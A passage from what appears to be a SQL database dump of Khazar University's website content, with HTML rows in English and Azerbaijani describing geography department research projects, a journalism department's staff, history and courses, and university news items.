bağlı oxşar tədris modelləri hazırlamaq üçün regional qurumları stimullaşdırır.</div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><strong>2009: </strong>Kür çayının kiçik axınlarında suyun çəkilməsinə Ətraf mühitin salınması ilə tanışlıq. ABŞ-ın Junior Faculty İnkişaf Proqramı tərəfindən maliyyələşdirilir</div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\">&nbsp;</div><div style=\"font-size:large;font-family:arial, helvetica, sans-serif\"><strong>2008:</strong> Xəzər dənizinin və futunun ekoloji problemləri</div>'),(949,615,'en','Projects','Projects','<p><strong>2017-2018:</strong>&nbsp;<span style=\"text-align:justify\">Climate\r\nLandscape Analysis for Children, aims to evaluate baseline situation of\r\nclimate, energy and environment-related issues affecting children. The study\r\nlooks at parties, all the stakeholders, ministries, communities and\r\ninternational organizations which conduct several types of studies related to\r\nchildren, environment and climate changes. The report will also examine current\r\ngovernment and community policies with respect to children, environment and\r\nclimate changes and, make recommendations for changing current situation.&nbsp;</span></p>\r\n<p style=\"font-size:large\"><strong>2016-2018:</strong> Child Centered Disaster Risk Assessment.&nbsp;&nbsp;<span style=\"text-align:justify\">The main goal of this study was to make child centered risk\r\nassessment for rural regions. Disaster risk assessment\r\nand mapping is the process of collecting and analyzing information about\r\nhazards, the likelihood and impact, as well as vulnerability of population to\r\nthese hazards. The aim of DRA and mapping is to provide clear picture regarding\r\nthe hazard and vulnerability in the targeted area. This information is used\r\nduring the awareness raising process, which is the initial stage of\r\nmainstreaming</span></p><p style=\"font-size:large\"><strong>2014-2016:</strong> Water Balance of the Khojasan lake.&nbsp;<span style=\"text-align:justify\">The goal of the study was to estimate water balance of the\r\nKhojasan lake, which require detailed measurements and assessments on all types\r\nof water inputs and outputs. Assessment methods consist of a broad range of\r\nactions that include direct measurements over inflows and outflows, processing\r\nof meteorological data, and implementation of hydrological models.</span></p><p><strong>2011-2012:</strong>&nbsp;Improving habitats of the Caspian Sturgeons. This study was supported by the Rufford foundation.&nbsp;The study aims to equip water supply sites with special equipments to protect young fish from being sucked into pipes. The rivers of Azerbaijan are the preferred spawning grounds for the Caspian Sea sturgeon.&nbsp; The Caspian Sea contains over 90% of the world’s sturgeon population. European sturgeon and Russian sturgeon are the most valuable representatives and are the only source of black caviar. These species migrate up rivers to spawning grounds. Clearly, fish movement in these rivers is vital to the economy. Thus understanding the impact of high capacity pumping on the sturgeon population would be important to the caviar industry and Water Utilities.</p><div>&nbsp;</div><p><strong>2011-2012:&nbsp;</strong>Integrated Urban Water Management Study for the Greater Baku Area, economic assessment.&nbsp;Despite relatively high levels of service coverage overall (about 95 percent of the people in Baku, 83 percent of those in other urban areas), the quality and reliability of water supply and sanitation services in most parts of Azerbaijan has deteriorated significantly, raising serious concerns. The study aims to evaluate the water supply’s current condition and to evaluate future opportunities to improve urban water management in the Greater Baku area. This project is a part of the Greater Baku Water Supply project funded by the World Bank.</p><div>&nbsp;</div><p><strong>2010-2011:&nbsp;</strong>Indexing of Environmental Vulnerability of Mountain Streams of Azerbaijan.&nbsp;Funded by German Academic Exchange Service, DAAD. A simple environmental vulnerability assessment scheme was developed and applied to several Azerbaijani streams. The scheme takes into account the combined impact of water withdrawals, pollution, climate change on flow variability and land use. These factors were selected based on their ability to measure environmental impact. The effect of these factors on the vulnerability assessment varies widely based on regional differences.&nbsp;</p><div>&nbsp;<strong>2009-2010:</strong>&nbsp;Curricula Development Project: “Environmental Security and Resource Management in the Caspian Region”. Course Development Competition Grant of the Central European University, Hungary.</div><p>The new course “Environmental Security and Resource management in the Caspian Region” has been designed. This is a regional inter-disciplinary course taught in Khazar University (Azerbaijan) and Eurasian National University (Kazakhstan) simultaneously. The course provides an overview of key environmental management concepts, identifies areas of global and regional environmental concern, and reviews effective environmental management strategies and tools..</p><div>&nbsp;<strong>2008:&nbsp;</strong>Curricula Development Project: “Environmental Management”. Grant of the Central European University, Hungary.&nbsp;Environmental management course (EM) is an introduction to the biophysical, community and institutional components of comprehensive environmental management. This course emphasizes natural and social processes that control the quality and quantity of natural resources.</div><div>&nbsp;</div><p>2007-2008: Curricula development for secondary schools of Azerbaijan, and Kazakhstan (related to Caspian Sea).This project was founded by small grants of the Democracy Commission (USA). Because the Caspian Sea provides economic value to many nations, wise management of its resources is essential to maintaining peace and economic development in the region. However, the low level of the regional public awareness threatens the ability to find acceptable solutions for management of Caspian Sea resources. &nbsp;The comprehensive curricula attempts to address this deficiency, and was produced in consultation with secondary school teachers from Kazakhstan and Azerbaijan. The curricula were published in Kazakh and Azerbaijani languages to encourage broad dissemination.</p><div>&nbsp;<strong>2007:&nbsp;</strong>Junior Faculty Development Project (JFDP) project on Environmental Studies curricula. Grant provided by the Democracy Commission, USA.&nbsp;This project resulted in the development of various curricula samples to improve access to education. &nbsp;All of developed curricula models were printed in the form of compact brochure (attached) in Azerbaijan and Kazakhstan. These brochures were sent to 150 schools and libraries of Azerbaijan and Kazakhstan. These materials attempt to address the scarcity of in school education of Azerbaijan and Kazakhstan. &nbsp;Because school education is arguably the most effective means to increase public awareness regarding the environment.&nbsp;&nbsp; Therefore, the development of various educational resources is very important. &nbsp;Moreover, this project will stimulate regional institutions to prepare similar curricula models, regarding various ecological and social problems of Caspian nations in the future.</div><p><strong>2009:</strong> Introducing Environmental thresholds into Water withdrawal Management in small streams of the Kura basin, Azerbaijan.&nbsp;Funded by Junior Faculty Development Program, USA</p><div>&nbsp;</div><p><strong>2008:</strong>&nbsp;Environmental challenges of the Caspian Sea and future options for the best management practices. Funded by International Lake Environmental Committee, Japan</p><p><strong>2008:</strong>&nbsp;Analysis of non climatic origins of floods in the downstream part of the Kura River, Azerbaijan. Funded by Khazar University.</p>'),(1987,1211,'en','Khazar University Ranks Highest Again','On June 16, 2016, an article was  published on the official website of “Azadliq” about the  Azerbaijan universities which are among the top universities according to the annual ranking...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">&nbsp;On June 16, 2016, an article was&nbsp; published on the official website of\r\n“Azadliq” about the&nbsp; Azerbaijan\r\nuniversities which are among the top universities according to the annual ranking released by QS in Emerging Europe and Central Asia (EECA) for 2016. It is noted\r\nthat, Khazar University was ranked 68th having, the best result among&nbsp; Azerbaijan universities. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\"><strong>For the full version of the article , you can visit the following\r\nlink: &nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\"><a href=\"http://www.azadliq.info/141632.html\">http://www.azadliq.info/141632.html</a>.</p>'),(1942,616,'az','Field Work','Field Work','<span style=\"font-size:large;font-family:arial, helvetica, sans-serif\">Çöl&nbsp;işi coğrafiya fənləri üçün vacibdir və mövzu bilik və bacarıqların inkişafı üçün əsas kimi geniş tanınır. Tələbələr məlumat toplamaq, nümunə götürmək və təbii prosesləri müşahidə etmək üçün müntəzəm olaraq çöl&nbsp;işlərinə daxil olur.</span>'),(950,616,'en','Field Work','Field Work','<span style=\"font-size:large;font-family:arial, helvetica, sans-serif\">Fieldwork is essential&nbsp;to the Geography disciplines and is widely recognised as being key to the development of subject knowledge and skills. Students are regularly involved into the fieldwork activities to collect data and make sampling or observe natural processes.</span>'),(951,617,'az','Nəşrlər','Nəşrlər','<p><a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/Rovshan%20Abbasov__Selected%20Publications.pdf\">Nəşrlər&nbsp;Rövşən&nbsp;Abbasov</a></p><p><a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/PUBLICATIONS_Rovshan_Karimov.pdf\">Nəşrlər Rövşən Kərimov</a></p><p><a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Publications_Elvin_Aliyev.pdf\">Nəşrlər Elvin Alıyev</a></p><p><br></p><p><br></p>'),(2491,1505,'en','Khazar University Staff Member at International Event','On October 25-26, 2016, Business Peace Forum 2016 took place in Dubai, UAE at Sharjah American University with the goal of creating a management system to create peace...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On October 25-26, 2016, Business Peace\r\nForum 2016 took place in Dubai, UAE at Sharjah American University with the\r\ngoal of creating a management system to create peace and avoid conflict.\r\nOfficial guests at the event included representatives of higher education\r\ninstitutions carrying out research in this field, academics, and\r\nrepresentatives of international organizations and NGOs. The mission of the\r\nevent was to create opportunities for innovative partnership towards peace as\r\nwell as to build and strengthen a peaceful business society. The conference\r\nalso included panel sessions about socioeconomic reform, political change,\r\nagreement and justice, sensitivity to conflict and more. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Khayala Mammadova, staff member of\r\nKhazar University, represented Azerbaijan at the event. She also held\r\ndiscussions about academic development, scholarly journals, and academic\r\ndatabases important to science and business with Dr. Bjorn Kjervele, leader of\r\nSharjah American University, as well as Dr. Yaprak Anadol, administrator of Dubai\r\nUniversity.&nbsp;</p>'),(952,617,'en','Publications','Publications','<div><p><a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/Rovshan%20Abbasov__Selected%20Publications.pdf\">Publications&nbsp;Rovshan&nbsp;Abbasov</a></p><p><a href=\"http://www.khazar.org/files/geography_depart/NewFolder/Rovshan%20Abbasov-Selected%20Publications.pdf\"></a><a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/PUBLICATIONS_Rovshan_Karimov.pdf\">Publications Rovshan Karimov</a></p><p><a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Publications_Elvin_Aliyev.pdf\">Publications Elvin Aliyev</a></p><p><br></p><br></div>'),(953,618,'az','\"Xəzər\" Ekoloji Klubu','\"Xəzər\" Ekoloji Klubu','<img src=\"/files/geography_depart/NewFolder/15780789_673042706212032_2061392135423874695_n.jpg\" style=\"width:735px;height:511px\" title=\"Let\'s save nature!\"><div><br></div><div>Xəzər Ekoloji Klubu könüllülər tərəfindən yaradılan açıq ƏTRAF MÜHİT&nbsp;təşkilatıdır. Təşkilatın əsas məqsədi Azərbaycanda və dünyada olan ətraf mühit problemlərinin müzakirəsi, mümkün həll yollarının göstərilməsi və təşkilat üzvləri arasında ətraf mühitə aid fikir mübadiləsi aparmaqdır. Ətraf mühit problemləri həm də sosial problem olduğundan, təşkilat qarşısına ətraf mühitlə əlaqəli olan sosial problemlərin müzakirəsini də məqsəd kimi qoyur. İxtisasından aslılı olamayaraq, təşkilatın daxili qaydalarına əməl etməyə razılıq verən hər bir kəs bu təşkilatın üzvü ola bilər.  </div>'),(954,618,'en','\"Khazar\" Environmental Club','\"Khazar\" Environmental Club\r\n',''),(955,619,'az','İşçi heyəti','İşçi heyəti','<p><strong>People</strong><strong>&nbsp;</strong></p><p>The Department has&nbsp;2 full-time faculties, a staff member&nbsp;and a teaching two&nbsp;assistants&nbsp;dedicated to producing a learning environment where working journalists are trained and critical questions are asked.&nbsp;The faculty and staff take pride in the over 23&nbsp;year history of the Department and its commitment to the formation of skilled and thinking journalists, as well as the production of scholarship,&nbsp;criticism, commentary and journalism.&nbsp;We perceive journalism as a public service and our curriculum and research programs are designed to help students become the intelligent and versatile journalists and researchers upon which society depends for the exercise of its democratic functions.</p><p><strong><em>Coordinator of the Department&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></p><p><strong><em><a href=\"http://www.khazar.org/files/letters/Jabir_Mammadov-Last-Updated.pdf\">Jabir Mammadov</a>,&nbsp;<a href=\"mailto:cmammadli@khazar.org\">cmammadli[at]khazar.org</a></em></strong></p><div><strong><br></strong></div><p><strong>EDUCATION</strong></p><p>Fall, 2004&nbsp;Khazar&nbsp;University, School&nbsp;of&nbsp;Humanities, Bachalor&nbsp;Degree, Honour&nbsp;Diploma, Specialty&nbsp;“Journalism/English”</p><p>Spring, 2006&nbsp;Khazar&nbsp;University , School&nbsp;of&nbsp;Humanities and&nbsp;Social&nbsp;Sciences, Master&nbsp;of&nbsp;Art, Honour&nbsp;Diploma , Specialty “International&nbsp;Journalism”</p><p>2007-2010&nbsp;Azerbaijan&nbsp;National&nbsp;Academy&nbsp;of&nbsp;Sciences, Institute&nbsp;of&nbsp;Philosophy, Sociology&nbsp;and&nbsp;Law</p><p>2008-2009&nbsp;ATEI-TESSALONIKI, ‘ERASMUS MUNDUS LOT 5’, PhD ON JOURNALISM</p><div>&nbsp;</div><p><strong><em>TRAINING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></p><p>SPRING, 2004&nbsp;“JOURNALISM AND CORRUPTION”, ABA-CELL&amp;BP</p><p>SUMMER, 2002&nbsp;“WHO IS JOURNALIST?” (SUMMER SCHOOL), INTERNEWS</p><p>FEBRUARY, 2010&nbsp;CHILDREN\'S&nbsp;RIGHTS SYLLABUS SEMINAR, ROMANIA/ BUCHAREST</p><p>MAY, 2011&nbsp;CHILDREN\'S&nbsp;RIGHTS SYLLABUS SEMINAR, DUBLIN/IRELAND</p><p>SEPTEMBER, 2011&nbsp;CHILDREN’S RIGHTS SYLLABUS SEMINAR, MONTENEGRO</p><p>MAY, 2012&nbsp;&nbsp; TRAINING FOR AZERBAIJANI JOURNALISTS (TRAINER.&nbsp;&nbsp;&nbsp;&nbsp; TOGETHER WITH TURKISH JOURNALISTS), BAKU</p><div>&nbsp;</div><p><strong><em>PROFESSIONAL EXPERIENCE</em></strong></p><p>2005 -2008&nbsp;&nbsp;&nbsp; EDITORIAL ASSISTANT, “KHAZAR VIEW”, SCIENTIFIC-POPULAR, LITERARY-PUBLISISTIC COLLECTION</p><p>2005 - PRESENT&nbsp;COORDINATOR OF DEPARTMENT OF JOURNALISM, KHAZAR UNIVERSITY</p><p>2004-2005&nbsp;CORRESPONDENT-TRANSLATOR, “KHAZAR VIEW”, SCIENTIFIC-POPULAR, LITERARY-PUBLISISTIC COLLECTION</p>'),(956,619,'en','Faculty and Staff','Faculty and Staff','<p><strong>People</strong><strong>&nbsp;</strong></p><p>The Department has&nbsp;2 full-time faculties, a staff member&nbsp;and a teaching two&nbsp;assistants&nbsp;dedicated to producing a learning environment where working journalists are trained and critical questions are asked.&nbsp;The faculty and staff take pride in the over 23&nbsp;year history of the Department and its commitment to the formation of skilled and thinking journalists, as well as the production of scholarship, criticism, commentary and journalism.&nbsp;We perceive journalism as a public service and our curriculum and research programs are designed to help students become the intelligent and versatile journalists and researchers upon which society depends for the exercise of its democratic functions.</p><p><strong><em>Coordinator of the Department&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></p><p><strong><em><a href=\"http://www.khazar.org/files/letters/Jabir_Mammadov-Last-Updated.pdf\">Jabir Mammadov</a>,&nbsp;<a href=\"mailto:cmammadli@khazar.org\">cmammadli[at]khazar.org</a></em></strong></p><div><strong><br></strong></div><p><strong>EDUCATION</strong></p><p>Fall, 2004&nbsp;Khazar&nbsp;University, School&nbsp;of&nbsp;Humanities, Bachelor&nbsp;Degree, Honour&nbsp;Diploma, Specialty&nbsp;“Journalism/English”</p><p>Spring, 2006&nbsp;Khazar&nbsp;University  , School&nbsp;of&nbsp;Humanities and&nbsp;Social&nbsp;Sciences, Master&nbsp;of&nbsp;Art, Honour&nbsp;Diploma  , Specialty   “International&nbsp;Journalism”</p><p>2007-2010&nbsp;Azerbaijan&nbsp;National&nbsp;Academy&nbsp;of&nbsp;Sciences, Institute&nbsp;of&nbsp;Philosophy, Sociology&nbsp;and&nbsp;Law</p><p>2008-2009&nbsp;ATEI-TESSALONIKI, ‘ERASMUS MUNDUS LOT 5’, PhD ON JOURNALISM</p><div>&nbsp;</div><p><strong><em>TRAINING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></p><p>SPRING, 2004&nbsp;“JOURNALISM AND CORRUPTION”, ABA-CELL&amp;BP</p><p>SUMMER, 2002&nbsp;“WHO IS JOURNALIST?” (SUMMER SCHOOL), INTERNEWS</p><p>FEBRUARY, 2010&nbsp;CHILDREN\'S&nbsp;RIGHTS SYLLABUS SEMINAR, ROMANIA/ BUCHAREST</p><p>MAY, 2011&nbsp;CHILDREN\'S&nbsp;RIGHTS SYLLABUS SEMINAR, DUBLIN/IRELAND</p><p>SEPTEMBER, 2011&nbsp;CHILDREN’S RIGHTS SYLLABUS SEMINAR, MONTENEGRO</p><p>MAY, 2012&nbsp;&nbsp; TRAINING FOR AZERBAIJANI JOURNALISTS (TRAINER.&nbsp;&nbsp;&nbsp;&nbsp; TOGETHER WITH TURKISH JOURNALISTS), BAKU</p><div>&nbsp;</div><p><strong><em>PROFESSIONAL EXPERIENCE</em></strong></p><p>2005 -2008&nbsp;&nbsp;&nbsp; EDITORIAL ASSISTANT, “KHAZAR VIEW”, SCIENTIFIC-POPULAR, LITERARY-PUBLISISTIC COLLECTION</p><p>2005 - PRESENT&nbsp;COORDINATOR OF DEPARTMENT OF JOURNALISM, KHAZAR UNIVERSITY</p><p>2004-2005&nbsp;CORRESPONDENT-TRANSLATOR, “KHAZAR VIEW”, SCIENTIFIC-POPULAR, LITERARY-PUBLISISTIC COLLECTION</p>'),(4767,2797,'en','New Year party was held at Faculty of Engineering and Applied Sciences, Khazar University','December 31 – Solidarity Day of World Azerbaijanis and New Year party was held at Faculty of Engineering and Applied Sciences...','<p>December 31 – Solidarity Day of World Azerbaijanis and New Year party was held at Faculty of Engineering and Applied Sciences, Khazar University, for the first year students. Along with the students, faculty staff also participated at the party.</p>'),(4768,2772,'en','Khazar University Employee delivered a lecture at Institute of Geography, ANAS','Rovshan Abbasov, Head of Department of Geography and the Environment, Khazar University, delivered a lecture on “Water balance...','<p>Rovshan Abbasov, Head of Department of Geography and the Environment, Khazar University, delivered a lecture on “Water balance of the Khojasan lake” at Azerbaijan National Academy of Sciences, December 21, 2017.</p><p>For further information please refer the following links:</p><p style=\"background:undefined \"><a href=\"https://azertag.az/xeber/Cografiya_Institutunda_Xocesen_golunun_su_balansina_dair_muzakireler_aparilib-1122961\">https://azertag.az/xeber/Cografiya_Institutunda_Xocesen_golunun_su_balansina_dair_muzakireler_aparilib-1122961</a>;</p><p><a href=\"http://igaz.az/az/news/418\">http://igaz.az/az/news/418</a>.</p>'),(4500,2667,'az','Xəzər Universitetinin xarici tələbələri Milli Azərbaycan Tarixi Muzeyinə ekskursiya etdilər','2017-ci il noyabrın 25-də Xəzər Universitetinin I kurs xarici tələbələri Tarix və arxeologiya departamentının müdiri...','<p>2017-ci il noyabrın 25-də Xəzər Universitetinin I kurs xarici tələbələri Tarix və arxeologiya departamentının müdiri Roza Arazova və müəllimi Bayram Quliyevlə birlikdə Azərbaycan xalqının minilliklərlə ölçülən tarixini özündə əyanı formada əks etdirən Milli Azərbaycan Tarixi Muzeyinə ekskursiya etdilər. Ekskursiyadan əvvəl müəllim Bakı şəhəri və yol üzərində yerləşən tarixi abidələr haqqında tələbələrə məlumat verdi. Muzeydə Azərbaycanın qədimdən müasir dövrümüzə qədər tarixinin bir hissəsini əyanı formada görən tələbələr ekskursiyadan məmnun ayrıldılar. Azərbaycan əhalisinin erkən orta əsrlərdən bəri ərəb əlifbasından istifadəsi, ibtidai icma quruluşuna dair arxeoloji tapıntılar, etnoqrafik əyani vəsaitlər və Xocalı faciəsi haqqında məlumatlar tələbələrin ən çox marağına səbəb olan məlumatlar oldu.</p><p>Tələbələr bu cür ekskursiyaların davamlı olmasını arzu etdilər.</p>'),(1604,995,'az','“Xəzər”in əməkdaşlarının məqalələri İsveçrənin nüfuzlu jurnalında çap olundu',' İsveçrədə nəşr olunan nüfuzlu “Caucasus Analytical Digest” jurnalı növbəti 83-cü buraxılışını bütövlükdə Azərbaycana həsr etmişdir.','<p>&nbsp;İsveçrədə nəşr\r\nolunan nüfuzlu “Caucasus Analytical Digest” jurnalı növbəti 83-cü buraxılışını\r\nbütövlükdə Azərbaycana həsr etmişdir. Həmin buraxılışda Xəzər Universitetinin\r\nAvrasiya Bilik Mərkəzinin ekspertləri – İnqilab Əhmədovun, Ceyhun Məmmədovun, Fərid\r\nQuliyevin və Kənan Aslanlının məqalələri yer almışdır.</p>\r\n<p>Məqalələri bu link\r\nvasitəsilə oxumaq olar: </p>\r\n<p><a href=\"http://www.laender-analysen.de/cad/pdf/CaucasusAnalyticalDigest83.pdf\" target=\"_blank\">http://www.laender-analysen.de/cad/pdf/CaucasusAnalyticalDigest83.pdf</a>.</p>'),(957,620,'en','History','History','<p>Department of Journalism is established Department of Journalism within the School of Humanities and Social Sciences in 1994. Now the Department is one of the useful departments in the School of Humanities and Social Sciences.&nbsp;</p><p>The department works with art radio and television studios, advanced production equipment, and faculty members who are a mix of academicians and media practitioners. The department offers students three minor programs:</p><br><ul><li>TV and Radio Journalism.</li><li>Newspaper and Magazine Journalism.</li><li>Marketing and Advertising in Mass Media.</li></ul><br><p>Each minor track features theoretical grounding and skills training developed by experts in each discipline, in order to provide students with knowledge in a specific field, while maintaining a strong core of communication and media subjects.&nbsp;</p><p>The major in Journalism is offered by experienced journalists and is tailored to individual needs and interests of the students. The Department offers programs on mass media law and policy, social research related to mass media, film making/criticism, radio and TV production, and public relations.&nbsp;</p><p>Additionally, journalism is also offered as a minor field of study for students majoring in English. The faculty at the Department deems it important that students, along with professional training in their field, are able to examine both the existing situation and perspectives regarding the role of mass communications in Azerbaijan as well as in the USA, Europe, and other countries.</p><p>In cooperation with Khazar University Press, the Department has translated several modern textbooks on Journalism and Mass Media to address the needs of wide population of students and professionals.</p>'),(958,620,'az','Tarixi','Tarixi','<p>Jurnalistika departamenti 1994-cü ildə Humanitar və sosial elmlər fakültəsinin tərkibində yaradılmışdır. Departament hazırda Humanitar və sosial elmlər fakültəsinin ən vacib bölmələrindən biridir. Departament radio və televiziya studiyaları, yüksək&nbsp;keyfiyyətli istehsalat təchizatı, elm adamları və mediada çalışanlardan ibarət müəllimlərlə birgə fəaliyyət göstərir. Departament tələbələrə üç istiqamət üzrə&nbsp;proqram&nbsp;təklif edir:</p><br><ul><li>Televiziya və radio jurnalistikası.</li><li> Qəzet və jurnal jurnalistikası.</li><li> Kütləvi informasiya vasitələrində marketinq və reklam.</li></ul><br><p>Hər bir kiçik bölümdə mütəxəssislərin nizamlı şəkildə, tələbələri&nbsp;müəyyən bir sahədə ardıcıl olaraq, biliklə təmin etmək üçün kommunikasiya və media fənlərinin əsasını qoruyaraq, nəzəriyyəyə əsaslanan mükəmməl təlim bacarıqları vardır. Jurnalistikada ixtisas fənləri təcrübəli jurnalistlər tərəfindən təklif edilir və tələbələrin fərdi yanaşmasına və marağına əsaslanır. Departament&nbsp;KİV qanunları və siyasətini, KİV-də ictimai aradırmaları, kino çəkilişi/&nbsp;tənqidini, radio və televiziya verlişlərini, ictimaiyyətlə əlaqələri əhatə edən proqramlar təklif edir. Əlavə olaraq, jurnalistika ixtisasına yiyələnən&nbsp;tələbələrə təhsilin müəyyən hissəsi kimi ingilis dili fənləri&nbsp;təklif edilir.</p>'),(959,621,'az','Fənlər','Fənlər','<p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 101: Introduction to Journalism (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: NONE</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nature, functions, and responsibilities of communication media and agencies from professional point of view. News, opinion, entertainment, and persuasion functions; current trends. Specialized communication; aspects of advertising. Study and discussion of the historical, ethical and legal principles of journalism.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 102: History of Journalism (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: Journalism major or minor</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Development of newspapers and periodicals from beginnings to present day; rise of radio and television; relation of communications, developments of political, economic, and social trends.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 105: Newspapers, Magazines and Periodicals (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: Journalism major or minor</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Information resources for professional and academic work in mass communication; techniques for locating, retrieving, appraising, and verifying information acquired from public records, libraries, research institutions, databases, and interviews.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 202: Mass Communication Ethics (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: NONE</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ethical values in international and also Azerbaijani journalism. The purpose of the course is to glance at today’s Azerbaijani journalism and to compare with Western journalism (Freedom of Mass Media, Mass Media Ethics and so on). The Mass Media Ethics deals with international Journalists ’Code of Ethics (or Professional Code of Ethics) that determines journalists’ ‘ethical frame’.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 203: News Writing (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: JOUR 102</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Writing and producing news for newspapers, television, and magazines. Basic news writing style methods for the different media.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 204: Photo Journalism (6 credits)</strong></p><p 